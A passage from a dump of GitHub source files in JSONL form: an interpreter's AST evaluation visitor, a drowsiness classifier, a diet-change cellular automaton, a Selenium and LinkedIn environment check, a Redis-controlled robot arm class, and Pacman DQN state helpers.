ast.ExprStmt):\n return self.eval(node.expr)\n\n @visitor\n def eval(self, node: ast.BinOpExpr):\n left: Instance = self.eval(node.left)\n op = node.op\n if op == ast.Operator.AND:\n self.set_stat(\"and_count\", self.stats[\"and_count\"] + 1)\n if _truth(left):\n return self.eval(node.right)\n return left\n if op == ast.Operator.OR:\n self.set_stat(\"or_count\", self.stats[\"or_count\"] + 1)\n if _truth(left):\n return left\n return self.eval(node.right)\n\n right: Instance = self.eval(node.right)\n\n self.set_stat(OPER_STAT_NAME[op], self.stats[OPER_STAT_NAME[op]] + 1)\n neg = False\n if op == ast.CmpOp.IS:\n return builtin.nl_bool(left.type.subtype(right.type))\n if op == ast.CmpOp.IS_NOT:\n return builtin.nl_bool(not left.type.subtype(right.type))\n\n if op == ast.CmpOp.NOT_IN:\n neg = True\n op = ast.CmpOp.IN\n\n if op == ast.CmpOp.IN:\n val = right.get(\"__contains__\")(right, left)\n if neg:\n return builtin.nl_bool(not val.get(\"value\"))\n return val\n\n oper = OPERATOR_FUNC[op]\n val = left.get(oper)(left, right)\n if neg:\n val = builtin.nl_bool(not _truth(val))\n return val\n\n @visitor\n def eval(self, node: ast.UnaryOpExpr):\n op = node.op\n val: Instance = self.eval(node.operand)\n if op == ast.UnaryOp.NOT:\n return builtin.nl_bool(not _truth(val))\n if op == ast.UnaryOp.INVERT:\n return val.get(\"__invert__\")(val)\n if op == ast.UnaryOp.UADD:\n return val\n if op == ast.UnaryOp.USUB:\n return val.get(\"__sub__\")(builtin.nl_int(0), val)\n raise excpt.RuntimeError(\"Unsupported unary operator\")\n\n @visitor\n def eval(self, node: ast.LambdaExpr):\n for dec in node.decorator[::-1]:\n dec_val = self.eval(dec)\n\n @visitor\n def eval(self, node: ast.IfExpr):\n if _truth(self.eval(node.test)):\n return self.eval(node.body)\n if node.orelse is not None:\n return self.eval(node.orelse)\n\n @visitor\n def eval(self, node: ast.DictExpr):\n dic = {self.eval(k): self.eval(v) for k, v in zip(node.keys, node.values)}\n return builtin.nl_dict(dic)\n\n @visitor\n def eval(self, node: ast.SetExpr):\n values = {self.eval(v) for v in node.values}\n return builtin.nl_set(values)\n\n def _generate(self, compr: List[ast.Comprehension]):\n current = compr[0]\n obj = self.eval(current.comp_iter)\n iterator = obj.get(\"__iter__\")(obj)\n while True:\n try:\n item = iterator.get(\"__next__\")(iterator)\n if isinstance(current.target, ast.NameExpr):\n self.define(current.target.name_id, item)\n else:\n raise NotImplementedError(\"Tuple target not supported\")\n valid = True\n for if_expr in current.ifs:\n if not _truth(self.eval(if_expr.test)):\n valid = False\n break\n if not valid:\n continue\n except StopIteration:\n break\n if len(compr) == 1:\n if not isinstance(current.target, ast.NameExpr):\n raise excpt.RuntimeError(\"Invalid target\")\n yield self.resolve(current.target.name_id)\n else:\n yield from self._generate(compr[1:])\n\n @visitor\n def eval(self, node: ast.ListCompExpr):\n items = []\n if not isinstance(node.elt, ast.NameExpr):\n raise excpt.RuntimeError(\"Invalid target\")\n self.context = self.context.make_child()\n for _ in self._generate(node.generators):\n item = self.resolve(node.elt.name_id)\n items.append(item)\n self.context = self.context.parent\n return builtin.nl_list(items)\n\n @visitor\n def eval(self, node: ast.SetCompExpr):\n items = set()\n if not isinstance(node.target, ast.NameExpr):\n raise excpt.RuntimeError(\"Invalid target\")\n for _ in self._generate(node.generators):\n item = self.resolve(node.target.name_id)\n items.add(item)\n return builtin.nl_list(items)\n\n @visitor\n def eval(self, node: ast.DictCompExpr):\n raise NotImplementedError()\n\n @visitor\n def eval(self, node: ast.GeneratorExpr):\n raise NotImplementedError()\n\n @visitor\n def eval(self, node: ast.Comprehension):\n raise NotImplementedError()\n\n @visitor\n def eval(self, node: ast.YieldExpr):\n raise NotImplementedError()\n\n @visitor\n def eval(self, node: ast.YieldFromExpr):\n raise NotImplementedError()\n\n @visitor\n def eval(self, node: ast.CompareExpr):\n raise NotImplementedError()\n\n def _call_func(self, func, args, kwargs):\n func_args = func.get(\"args\").args\n\n # Setting arg values\n call_args = {}\n varargs = None\n for arg in func_args:\n call_args[arg.arg] = arg.default\n if arg.is_arg:\n call_args[arg.arg] = []\n varargs = arg.arg\n break\n count = len(call_args)\n names = list(call_args.keys())\n\n i = 0\n for arg in args:\n if i >= count:\n raise excpt.RuntimeError(\"Too many positional arguments\")\n if func_args[i].is_arg:\n call_args[names[i]].append(arg)\n continue\n call_args[names[i]] = arg\n i += 1\n\n if varargs is not None:\n call_args[varargs] = Type.get(\"tuple\")(call_args[varargs])\n\n # Setting keyword values\n call_kwargs = {}\n kwarguments = None\n passed_varargs = False\n for arg in func_args:\n if not passed_varargs:\n if arg.is_arg:\n passed_varargs = True\n continue\n\n if arg.is_kwarg:\n call_kwargs[arg.arg.name_id] = {}\n kwarguments = arg.arg.name_id\n break\n call_kwargs[arg.arg.name_id] = arg.default\n\n for kwarg in kwargs:\n if kwarg in call_args:\n if call_args[kwarg] is None:\n call_args[kwarg] = kwargs[kwarg]\n else:\n raise excpt.RuntimeError(\"Duplicate argument\")\n continue\n if kwarg in call_kwargs:\n call_kwargs[kwarg] = kwargs[kwarg]\n elif kwarguments is not None:\n call_kwargs[kwarguments][kwarg] = kwargs[kwarg]\n else:\n raise excpt.RuntimeError(\"Unknown argument\")\n\n if kwarguments is not None:\n call_kwargs[kwarguments] = Type.get(\"dict\")(call_kwargs[kwarguments])\n\n if None in call_args.values():\n raise excpt.RuntimeError(\"Missing argument\")\n\n return func.get(\"__call__\")(func, *call_args.values(), **call_kwargs)\n\n def _class_init(self, cls, args, kwargs):\n return cls(cls, *args, **kwargs)\n\n @visitor\n def eval(self, node: ast.CallExpr):\n self.set_stat(\"call_count\", self.stats[\"call_count\"] + 1)\n args = [self.eval(arg) for arg in node.args]\n kwargs = {}\n for kwarg in node.keywords:\n kw_arg = self.eval(kwarg)\n kwargs[kw_arg[0]] = kw_arg[1] # pylint: disable=unsubscriptable-object\n obj = None\n if isinstance(node.func, ast.NameExpr):\n func = self.context.resolve(node.func.name_id)\n if func is None:\n bi_func = builtin.resolve(node.func.name_id)\n if bi_func is None:\n raise excpt.RuntimeError(\"Unknown function\")\n return bi_func(*args, **kwargs)\n elif isinstance(node.func, ast.AttributeExpr):\n obj = self.eval(node.func.value)\n func = obj.get(node.func.attr)\n args.insert(0, obj)\n else:\n func = self.eval(node.func)\n\n if isinstance(func, Instance):\n return self._call_func(func, args, kwargs)\n elif isinstance(func, Type):\n return self._class_init(func, args, kwargs)\n elif callable(func):\n return func(*args, *kwargs)\n else:\n raise excpt.RuntimeError(\"Unknown function\")\n\n @visitor\n def eval(self, node: ast.Keyword):\n if not isinstance(node.arg, ast.NameExpr):\n raise excpt.RuntimeError(\"Keyword value must be a name\")\n arg = node.arg.name_id\n val = self.eval(node.value)\n return arg, val\n\n @visitor\n def eval(self, node: ast.ConstantExpr):\n if isinstance(node.value, str):\n return builtin.nl_str(node.value)\n if isinstance(node.value, bool):\n return builtin.nl_bool(node.value)\n if isinstance(node.value, int):\n return builtin.nl_int(node.value)\n if isinstance(node.value, float):\n return builtin.nl_float(node.value)\n if node.value is None:\n return builtin.nl_none()\n raise excpt.RuntimeError(f\"Unsupported constant type {type(node.value)}\")\n\n @visitor\n def eval(self, node: ast.AttributeExpr):\n if node.ctx == ast.ExprCtx.STORE:\n return node\n val: Instance = self.eval(node.value)\n if node.ctx == ast.ExprCtx.LOAD:\n return val.get(node.attr)\n val._dict.pop(node.attr)\n\n @visitor\n def eval(self, node: ast.SubscriptExpr):\n if node.ctx == ast.ExprCtx.STORE:\n return node\n val = self.eval(node.value)\n idx = self.eval(node.slice_expr)\n if node.ctx == ast.ExprCtx.LOAD:\n return val.get(\"__getitem__\")(val, idx)\n val.get(\"__delitem__\")(val, idx)\n\n @visitor\n def eval(self, node: ast.StarredExpr):\n raise NotImplementedError()\n\n @visitor\n def eval(self, node: ast.NameExpr):\n if node.ctx == ast.ExprCtx.STORE:\n return node\n if node.ctx == ast.ExprCtx.LOAD:\n return self.resolve(node.name_id)\n self.context.delete(node.name_id)\n self.set_stat(\"var_count\", self.context.count_vars())\n\n @visitor\n def eval(self, node: ast.ListExpr):\n items = [self.eval(i) for i in node.elts]\n return builtin.nl_list(items)\n\n @visitor\n def eval(self, node: ast.TupleExpr):\n items = tuple(self.eval(i) for i in node.elts)\n return builtin.nl_tuple(items)\n\n @visitor\n def eval(self, node: ast.SliceExpr):\n low = self.eval(node.lower) if node.lower is not None else None\n upper = self.eval(node.upper) if node.upper is not None else None\n step = self.eval(node.step) if node.step is not None else None\n return builtin.nl_slice(low, upper, step)\n\n @visitor\n def eval(self, node: ast.Args):\n return node\n\n @visitor\n def eval(self, node: ast.Arg):\n return node\n","repo_name":"jmorgadov/NumLab","sub_path":"numlab/visitors/eval_visitor.py","file_name":"eval_visitor.py","file_ext":"py","file_size_in_byte":31647,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"20"} +{"seq_id":"16099558843","text":"from sklearn import svm\nimport pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import cross_val_score\nimport OneHotEncoding\nfrom sklearn.model_selection import cross_val_predict\nfrom sklearn import metrics\nfrom sklearn.metrics import f1_score\n# from sklearn.feature_selection import SelectKBest\n# from sklearn.feature_selection import chi2\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.ensemble import RandomForestClassifier\nimport matplotlib\nmatplotlib.use('PS')\nimport matplotlib.pyplot as plt\n\ndef preprocess_features():\n df_train = pd.read_csv('./output/training_set.csv')\n print(df_train)\n feature, label = OneHotEncoding.feature_processing(df_train,\n [\n 'BlinkRate',\n 'AvgClosureDegree',\n 'MaxClosureFrames',\n 'ValidDuration',\n 'Blinks',\n 'Yawns'\n ],\n [],[])\n print('Preprocessing done!')\n train_x = feature[:len(df_train), :]\n train_y = label[:len(df_train), :]\n\n return train_x, train_y, df_train\n\n\ndef SVM_result(train_x, train_y, df_train):\n # # do CV GridSearch, test on test set\n # model = OneHotEncoding.svm_cross_validation(train_x,train_y.reshape(-1,))\n # print(np.average(cross_val_score(model, train_x, train_y.reshape(-1, ), cv=10)))\n\n # # Cross Validation on training dataset\n m2 = svm.SVC(C=1000, gamma=0.001)\n # print(np.average(cross_val_score(m2,train_x,train_y.reshape(-1,), cv=10)))\n predicted = cross_val_predict(m2, train_x, train_y.reshape(-1, ), cv=10)\n\n error_index = np.where(np.equal(predicted, train_y.reshape(-1, )) == False)\n print(\"accuracy\", metrics.accuracy_score(train_y.reshape(-1, ), predicted))\n print(len(df_train.iloc[error_index]),'\\n')\n error_df = df_train.iloc[error_index].sort_values(by=['Video'])\n error_df.to_csv('./output/Error_svm.csv', index=False)\n\n f1 = f1_score(train_y.reshape(-1, ), predicted, average='weighted')\n print(\"f1 score: \", f1)\n\n auc = roc_auc_score(train_y.reshape(-1, ), predicted, average='weighted')\n print(\"auc score: \", auc)\n\n\ndef random_forests_model(train_x, train_y, df_train):\n classifier = RandomForestClassifier(max_depth=10, random_state=0)\n predicted = cross_val_predict(classifier, train_x, train_y.reshape(-1, ), cv=10)\n\n error_index = np.where(np.equal(predicted, train_y.reshape(-1, )) == False)\n print(\"accuracy\", metrics.accuracy_score(train_y.reshape(-1, ), predicted))\n print(len(df_train.iloc[error_index]))\n error_df = df_train.iloc[error_index].sort_values(by=['Video'])\n error_df.to_csv('./output/Error_svm.csv', index=False)\n\n f1 = f1_score(train_y.reshape(-1, ), predicted, average='weighted')\n print(\"f1 score: \", f1)\n\n auc = roc_auc_score(train_y.reshape(-1, ), predicted, average='weighted')\n print(\"auc scoreL \", auc)\n ############################################\n model = classifier.fit(train_x, train_y)\n importances = model.feature_importances_\n std = np.std([tree.feature_importances_ for tree in model.estimators_],\n axis=0)\n indices = np.argsort(importances)[::-1]\n # Print the feature ranking\n print(\"Feature ranking:\")\n for f in range(train_x.shape[1]):\n print(\"%d. feature %d (%f)\" % (f + 1, indices[f], importances[indices[f]]))\n # Plot the feature importances of the forest\n plt.figure()\n plt.title(\"Feature importances\")\n plt.bar(range(train_x.shape[1]), importances[indices],\n color=\"r\", yerr=std[indices], align=\"center\")\n plt.xticks(range(train_x.shape[1]), indices)\n plt.xlim([-1, train_x.shape[1]])\n plt.show()\n\n\nif __name__ == '__main__':\n train_x, train_y, df_train = preprocess_features()\n SVM_result(train_x, train_y, df_train)\n # random_forests_model(train_x, train_y, df_train)\n","repo_name":"WanxinXu27/DrowsinessDetect","sub_path":"SVM_model.py","file_name":"SVM_model.py","file_ext":"py","file_size_in_byte":4208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"33854901147","text":"import numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\n\n# probabilities must be constrained to [0,1] so we use the a transform\n# e.g.:\n#\n# Pr(0 to 1 change | n strong ties to reducers) =\n#\n# 1-exp(-np)\n#\n# Note that at n=0, dPr/dn = p as required\n\ndef run_model(n_rows, n_cols,\n p,q,r,\n weak_strong_ratio,\n n_timesteps,\n return_history=False,\n history_stride=1,\n return_timestamp=False): # timestamp of last change\n\n # Create grid on which CA works\n x_grid, y_grid = np.mgrid[0:1:n_rows*1j, 0:1:n_cols*1j]\n\n # Y is the response variable i.e. the stage of change category\n # 0 : NO intention (to reduce)\n # 1 : Intention\n # 2 : Reducer\n M = n_rows*n_cols\n Y = np.zeros(M, dtype=int)\n timestamp = np.zeros(M, dtype=int)\n\n # Build an array showing which peers are strong and which are weak ties\n peers_strong = np.zeros((M,4),dtype=int)\n peers_weak = np.zeros((M,4),dtype=int)\n idxs = np.arange(M, dtype=int)\n row_idxs = np.arange(n_rows, dtype=int)\n col_idxs = np.arange(n_cols, dtype=int)\n idxs.shape = (n_rows, n_cols)\n peers_strong[:,0] = idxs[:,(col_idxs + 1) % n_cols].flatten()\n peers_strong[:,1] = idxs[:,(col_idxs - 1) % n_cols].flatten()\n peers_strong[:,2] = idxs[(row_idxs + 1) % n_rows,:].flatten()\n peers_strong[:,3] = idxs[(row_idxs - 1) % n_rows,:].flatten()\n peers_weak[:,0] = idxs[(row_idxs-1)%n_rows][:,(col_idxs-1)%n_cols].flatten()\n peers_weak[:,1] = idxs[(row_idxs-1)%n_rows][:,(col_idxs+1)%n_cols].flatten()\n peers_weak[:,2] = idxs[(row_idxs+1)%n_rows][:,(col_idxs-1)%n_cols].flatten()\n peers_weak[:,3] = idxs[(row_idxs+1)%n_rows][:,(col_idxs+1)%n_cols].flatten()\n\n #Y[idxs[35:45][:,35:45].flatten()] = 2\n #Y[idxs[55:65][:,55:65].flatten()] = 2\n Y = np.random.choice([0,1,2],M,p=[.9,.09,.01])\n \n if return_history:\n results = [np.reshape(Y.copy(),(n_rows,n_cols))]\n\n # The main loop:\n # every time step update X and then update Y then update plot\n for tstep in range(n_timesteps):\n\n n_reducer_strong_ties = (Y[peers_strong] == 2).sum(axis=1)\n n_reducer_weak_ties = (Y[peers_weak] == 2).sum(axis=1)\n n_reducer_effective_strong = \\\n n_reducer_strong_ties + \\\n n_reducer_weak_ties * weak_strong_ratio\n\n n_non_reducer_strong_ties = (Y[peers_strong] < 2).sum(axis=1)\n n_non_reducer_weak_ties = (Y[peers_weak] < 2).sum(axis=1)\n n_non_reducer_effective_strong = \\\n n_non_reducer_strong_ties + \\\n n_non_reducer_weak_ties * weak_strong_ratio\n \n # P, Q, and R are the probabilities for transition 0->1, 1->2, and 2->0\n # respectively, taking into account number of peers\n P = 1 - np.exp(-n_reducer_effective_strong * p)\n Q = 1 - np.exp(-n_reducer_effective_strong * q)\n R = 1 - np.exp(-n_non_reducer_effective_strong * r)\n \n # Update diet categories Y\n\n # Changes from 0 to 1 (NO intention to Intention)\n idxs = (Y == 0).nonzero()[0]\n do_change = np.random.binomial(1,P[idxs])\n idxs = idxs[do_change == 1]\n timestamp[idxs] = tstep + 1\n Y[idxs] = 1\n\n # Changes from 1 to 2 (Intention to Reducer)\n idxs = (Y == 1).nonzero()[0]\n do_change = np.random.binomial(1,Q[idxs])\n idxs = idxs[do_change == 1]\n timestamp[idxs] = tstep + 1\n Y[idxs] = 2\n\n # Changes from 2 to 0 (relapse: Reducer to NO intention)\n idxs = (Y == 2).nonzero()[0]\n do_change = np.random.binomial(1,R[idxs])\n idxs = idxs[do_change == 1]\n timestamp[idxs] = tstep + 1\n Y[idxs] = 0\n \n if return_history and (tstep + 1) % history_stride == 0:\n results.append(np.reshape(Y.copy(),(n_rows,n_cols)))\n\n if return_timestamp:\n timestamp.shape = (n_rows, n_cols)\n return timestamp,Y\n\n # return the stuff\n Y.shape = (n_rows, n_cols)\n return results if return_history else Y\n\n\nif __name__ == '__main__':\n\n plt.ion()\n\n n_timesteps = 1000\n timestamps,Y = run_model(n_rows=2*100,n_cols=2*100,\n p=0.3, q=0.1, r=0.05, weak_strong_ratio=.5,\n n_timesteps=n_timesteps,\n return_timestamp=True)\n\n im = plt.imshow(timestamps, cmap='coolwarm_r', interpolation='nearest')\n plt.xticks([])\n plt.yticks([])\n cb = plt.colorbar(im)\n plt.title('Generation turned meat-reducer')\n","repo_name":"alex-zeffertt/dissertation","sub_path":"code/CAModel/model_contrived.py","file_name":"model_contrived.py","file_ext":"py","file_size_in_byte":4601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"25443440793","text":"import os, time, sys\n\nfrom selenium import webdriver\nfrom selenium.webdriver.firefox.options import Options\nfrom selenium.webdriver.firefox.service import Service\nfrom linkedIn_config import firefoxProfileRootDir\n\nfrom make_logger import initialize_logger\n\nlogger = initialize_logger()\n\nlogger.info(\"Testing Linkedin Login\")\n\ndef check_python():\n try:\n if sys.version:\n logger.info(\"Python is installed\")\n else:\n logger.error(\"Python is not installed, please install Python: https://www.python.org/downloads/\")\n except Exception as e:\n logger.error(e)\n\ndef check_pip():\n try:\n import pip\n logger.info(\"Pip is installed\")\n except ImportError:\n logger.error(\"Pip is not installed. Install Pip: https://pip.pypa.io/en/stable/installation/\")\n\ndef check_selenium():\n try:\n import selenium\n logger.info(\"Selenium is installed!\")\n except ImportError:\n logger.error(\"Selenium is not installed. Install Selenium: https://pypi.org/project/selenium/\")\n\ndef check_connection():\n try:\n firefox_options = webdriver.FirefoxOptions()\n firefox_options.add_argument(\"--headless\")\n firefox_driver = webdriver.Firefox()\n firefox_driver.get(\"https://renahime.github.io/\")\n if (firefox_driver.title.index(\"welcome\")>-1):\n logger.info(\"Selenium and geckodriver are working\")\n else:\n logger.error(\"Please check if selenium and gekodriver are installed\")\n firefox_driver.quit()\n except ImportError as e:\n logger.error(e)\n\ndef checkSeleniumLinkedIn():\n\n options = webdriver.FirefoxOptions()\n options.add_argument(\"--ignore-certificate-errors\")\n options.add_argument('--no-sandbox')\n options.add_argument(\"--disable-extensions\")\n options.add_argument(\"--disable-blink-features\")\n options.add_argument(\"--disable-blink-features=AutomationControlled\")\n options.add_argument(\"--profile\")\n options.add_argument(firefoxProfileRootDir)\n\n browser = webdriver.Firefox(options=options)\n\n try:\n browser.get('https://www.linkedin.com/feed/')\n time.sleep(3)\n if \"Feed\" in browser.title:\n logger.info('Successfully you are logged in to Linkedin, it is available to use!')\n else:\n logger.error('You are not automatically logged in, please set up your chrome correctly.')\n except Exception as e:\n logger.error(e)\n finally:\n browser.quit()\n\nif __name__ == \"__main__\":\n check_python()\n check_pip()\n check_selenium()\n check_connection()\n checkSeleniumLinkedIn()\n","repo_name":"renahime/RenaChan.py","sub_path":"linkedIn_test.py","file_name":"linkedIn_test.py","file_ext":"py","file_size_in_byte":2619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"24423981816","text":"import dataclasses\nimport json\nfrom typing import Any, Dict, List, Optional, Tuple, Union\n\nimport ctrlutils\nfrom ctrlutils import eigen\nimport numpy as np\nimport spatialdyn as dyn\n\nfrom stap.envs.pybullet.sim import arm as sim_arm, articulated_body, math\n\n\n@dataclasses.dataclass\nclass RedisKeys:\n control_mode: str\n control_pub_command: str\n control_pub_status: str\n driver_status: str\n sensor_q: str\n sensor_dq: str\n sensor_ori: str\n\n\nclass Arm(sim_arm.Arm):\n \"\"\"Arm controlled with operational space control.\"\"\"\n\n def __init__(\n self,\n physics_id: int,\n body_id: int,\n arm_urdf: str,\n torque_joints: List[str],\n q_home: List[float],\n ee_offset: Tuple[float, float, float],\n pos_gains: Tuple[float, float],\n ori_gains: Tuple[float, float],\n nullspace_joint_gains: Tuple[float, float],\n nullspace_joint_indices: List[int],\n pos_threshold: Tuple[float, float],\n ori_threshold: Tuple[float, float],\n timeout: float,\n redis_host: str,\n redis_port: int,\n redis_password: str,\n redis_keys: Dict[str, str],\n ):\n \"\"\"Constructs the arm from yaml config.\n\n Args:\n physics_id: Pybullet physics client id.\n body_id: Pybullet body id.\n arm_urdf: Path to arm-only urdf for spatialdyn. This urdf will be\n used for computing opspace commands.\n torque_joints: List of torque-controlled joint names.\n q_home: Home joint configuration.\n ee_offset: Position offset from last link com to end-effector operational point.\n pos_gains: (kp, kv) position gains.\n ori_gains: (kp, kv) orientation gains.\n nullspace_joint_gains: (kp, kv) nullspace joint gains.\n nullspace_joint_indices: Joints to control in the nullspace.\n pos_threshold: (position, velocity) error threshold for position convergence.\n ori_threshold: (orientation, angular velocity) threshold for orientation convergence.\n timeout: Default command timeout.\n redis_host: Robot redis host (usually the NUC).\n redis_port: Robot redis port.\n redis_password: Robot redis password.\n redis_keys: Robot redis keys.\n \"\"\"\n self._redis = ctrlutils.RedisClient(redis_host, redis_port, redis_password)\n self._redis_pipe = self._redis.pipeline()\n self._redis_sub = self._redis.pubsub(ignore_subscribe_messages=True)\n self._redis_keys = RedisKeys(**redis_keys)\n\n super().__init__(\n physics_id=physics_id,\n body_id=body_id,\n arm_urdf=arm_urdf,\n torque_joints=torque_joints,\n q_home=q_home,\n ee_offset=ee_offset,\n pos_gains=pos_gains,\n ori_gains=ori_gains,\n nullspace_joint_gains=nullspace_joint_gains,\n nullspace_joint_indices=nullspace_joint_indices,\n pos_threshold=pos_threshold,\n ori_threshold=ori_threshold,\n timeout=timeout,\n )\n\n self._is_real_world = (\n self._redis.get(self._redis_keys.driver_status) is not None\n )\n\n def get_joint_state(self, joints: List[int]) -> Tuple[np.ndarray, np.ndarray]:\n \"\"\"Gets the position and velocities of the given joints.\n\n Gets the joint state from the real robot via Redis and applies it to pybullet.\n\n Args:\n joints: List of joint ids.\n Returns:\n Joint positions and velocities (q, dq).\n \"\"\"\n if joints != self.torque_joints:\n raise NotImplementedError\n\n self._redis_pipe.get(self._redis_keys.sensor_q)\n self._redis_pipe.get(self._redis_keys.sensor_dq)\n b_q, b_dq = self._redis_pipe.execute()\n if b_q is None:\n raise RuntimeError(\"Unable to get Redis key:\", self._redis_keys.sensor_q)\n if b_dq is None:\n raise RuntimeError(\"Unable to get Redis key:\", self._redis_keys.sensor_dq)\n q = ctrlutils.redis.decode_matlab(b_q)\n dq = ctrlutils.redis.decode_matlab(b_dq)\n\n # Update pybullet joints.\n self.apply_positions(q, joints)\n\n return q, dq\n\n def reset_joints(self, q: np.ndarray, joints: List[int]) -> None:\n raise NotImplementedError\n\n def apply_torques(\n self, torques: np.ndarray, joints: Optional[List[int]] = None\n ) -> None:\n raise NotImplementedError\n\n def reset(self) -> bool:\n \"\"\"Resets the pose goals.\"\"\"\n self._arm_state = sim_arm.ArmState()\n return True\n\n def set_pose_goal(\n self,\n pos: Optional[np.ndarray] = None,\n quat: Optional[Union[eigen.Quaterniond, np.ndarray]] = None,\n pos_gains: Optional[Union[Tuple[float, float], np.ndarray]] = None,\n ori_gains: Optional[Union[Tuple[float, float], np.ndarray]] = None,\n timeout: Optional[float] = None,\n ) -> None:\n super().set_pose_goal(pos, quat, pos_gains, ori_gains, timeout)\n\n pub_command = {\n \"type\": \"pose\",\n \"pos_tolerance\": self.pos_threshold[0],\n \"ori_tolerance\": self.ori_threshold[0],\n \"timeout\": self._arm_state.iter_timeout * math.PYBULLET_TIMESTEP,\n }\n if self._arm_state.pos_des is not None:\n pub_command[\"pos\"] = self._arm_state.pos_des.tolist()\n if self._arm_state.quat_des is not None:\n quat_des = eigen.Quaterniond(self._arm_state.quat_des)\n quat_curr = eigen.Quaterniond(\n self._redis.get_matrix(self._redis_keys.sensor_ori)\n )\n quat_des = ctrlutils.near_quaternion(quat_des, quat_curr)\n pub_command[\"quat\"] = quat_des.coeffs.tolist()\n\n self._redis_sub.subscribe(self._redis_keys.control_pub_status)\n self._redis.publish(\n self._redis_keys.control_pub_command, json.dumps(pub_command)\n )\n\n def set_configuration_goal(\n self, q: np.ndarray, skip_simulation: bool = False\n ) -> None:\n \"\"\"Sets the robot to the desired joint configuration.\n\n Joint space control is not implemented yet, so sets an equivalent pose\n goal instead.\n\n Args:\n q: Joint configuration.\n skip_simulation: Ignored for the real robot.\n \"\"\"\n if skip_simulation:\n super().reset_joints(q, self.torque_joints)\n\n self.ab.q = q\n T_ee_to_world = dyn.cartesian_pose(self.ab, offset=self.ee_offset)\n quat_ee_to_world = eigen.Quaterniond(T_ee_to_world.linear)\n quat_ee = quat_ee_to_world * self.quat_home.inverse()\n\n self.set_pose_goal(T_ee_to_world.translation, quat_ee)\n\n def update_torques(self) -> articulated_body.ControlStatus:\n \"\"\"Gets the latest status from the Redis opspace controller.\n\n Returns:\n Controller status.\n \"\"\"\n message = self._redis_sub.get_message()\n while message is not None:\n if message[\"data\"].decode(\"utf8\") == \"done\":\n self._redis_sub.unsubscribe(self._redis_keys.control_pub_status)\n break\n message = self._redis_sub.get_message()\n\n # Update sim.\n self.ab.q, self.ab.dq = self.get_joint_state(self.torque_joints)\n\n # Return in progress.\n if message is None:\n return articulated_body.ControlStatus.IN_PROGRESS\n\n if self._is_real_world:\n control_mode = self._redis.get(self._redis_keys.control_mode).decode(\"utf8\")\n if control_mode == \"floating\":\n return articulated_body.ControlStatus.ABORTED\n\n # Return positioned converged.\n T_ee_to_world = dyn.cartesian_pose(self.ab, offset=self.ee_offset)\n quat_ee_to_world = eigen.Quaterniond(T_ee_to_world.linear)\n quat_ee = quat_ee_to_world * self.quat_home.inverse()\n if (\n np.linalg.norm(T_ee_to_world.translation - self._arm_state.pos_des)\n < self.pos_threshold[0]\n and np.linalg.norm(\n ctrlutils.orientation_error(\n quat_ee, eigen.Quaterniond(self._arm_state.quat_des)\n )\n )\n < self.ori_threshold[0]\n ):\n return articulated_body.ControlStatus.POS_CONVERGED\n\n # Return velocity converged.\n J = dyn.jacobian(self.ab, -1, offset=self.ee_offset)\n ee_twist = J @ self.ab.dq\n if (\n np.linalg.norm(ee_twist[:3]) < self.pos_threshold[1]\n and np.linalg.norm(ee_twist[3:]) < self.ori_threshold[1]\n ):\n return articulated_body.ControlStatus.VEL_CONVERGED\n\n # Return timeout.\n return articulated_body.ControlStatus.TIMEOUT\n\n def set_state(self, state: Dict[str, Any]) -> None:\n raise NotImplementedError\n","repo_name":"agiachris/STAP","sub_path":"stap/envs/pybullet/real/arm.py","file_name":"arm.py","file_ext":"py","file_size_in_byte":8879,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"20"} +{"seq_id":"71220749491","text":"import numpy as np\nfrom pacman import Directions\n# Used code from\n# DQN code implemented by\n# https://github.com/tychovdo/PacmanDQN\n\n\n\ndef getOneHot(actions, batch_size):\n \"\"\" Create list of vectors with 1 values at index of action in list \"\"\"\n # actions_onehot = np.zeros((self.params['batch_size'], 4))\n actions_one_hot = np.zeros((batch_size, 4))\n for i in range(len(actions)):\n actions_one_hot[i][int(actions[i])] = 1\n return actions_one_hot\n\n\ndef mergeStateMatrices(state_matrices):\n \"\"\" Merge state matrices to one state tensor \"\"\"\n stateMatrices = np.swapaxes(state_matrices, 0, 2)\n total = np.zeros((7, 7))\n for i in range(len(stateMatrices)):\n total += (i + 1) * stateMatrices[i] / 6\n return total\n\n\ndef getStateMatrices(state, width, height):\n \"\"\" Return wall, ghosts, food, capsules matrices \"\"\"\n\n def getWallMatrix(state):\n \"\"\" Return matrix with wall coordinates set to 1 \"\"\"\n width, height = state.data.layout.width, state.data.layout.height\n grid = state.data.layout.walls\n matrix = np.zeros((height, width), dtype=np.int8)\n for i in range(grid.height):\n for j in range(grid.width):\n # Put cell vertically reversed in matrix\n cell = 1 if grid[j][i] else 0\n matrix[-1 - i][j] = cell\n return matrix\n\n def getPacmanMatrix(state):\n \"\"\" Return matrix with pacman coordinates set to 1 \"\"\"\n width, height = state.data.layout.width, state.data.layout.height\n matrix = np.zeros((height, width), dtype=np.int8)\n\n for agentState in state.data.agentStates:\n if agentState.isPacman:\n pos = agentState.configuration.getPosition()\n cell = 1\n matrix[-1 - int(pos[1])][int(pos[0])] = cell\n\n return matrix\n\n def getGhostMatrix(state):\n \"\"\" Return matrix with ghost coordinates set to 1 \"\"\"\n width, height = state.data.layout.width, state.data.layout.height\n matrix = np.zeros((height, width), dtype=np.int8)\n\n for agentState in state.data.agentStates:\n if not agentState.isPacman:\n if not agentState.scaredTimer > 0:\n pos = agentState.configuration.getPosition()\n cell = 1\n matrix[-1 - int(pos[1])][int(pos[0])] = cell\n\n return matrix\n\n def getScaredGhostMatrix(state):\n \"\"\" Return matrix with ghost coordinates set to 1 \"\"\"\n width, height = state.data.layout.width, state.data.layout.height\n matrix = np.zeros((height, width), dtype=np.int8)\n\n for agentState in state.data.agentStates:\n if not agentState.isPacman:\n if agentState.scaredTimer > 0:\n pos = agentState.configuration.getPosition()\n cell = 1\n matrix[-1 - int(pos[1])][int(pos[0])] = cell\n\n return matrix\n\n def getFoodMatrix(state):\n \"\"\" Return matrix with food coordinates set to 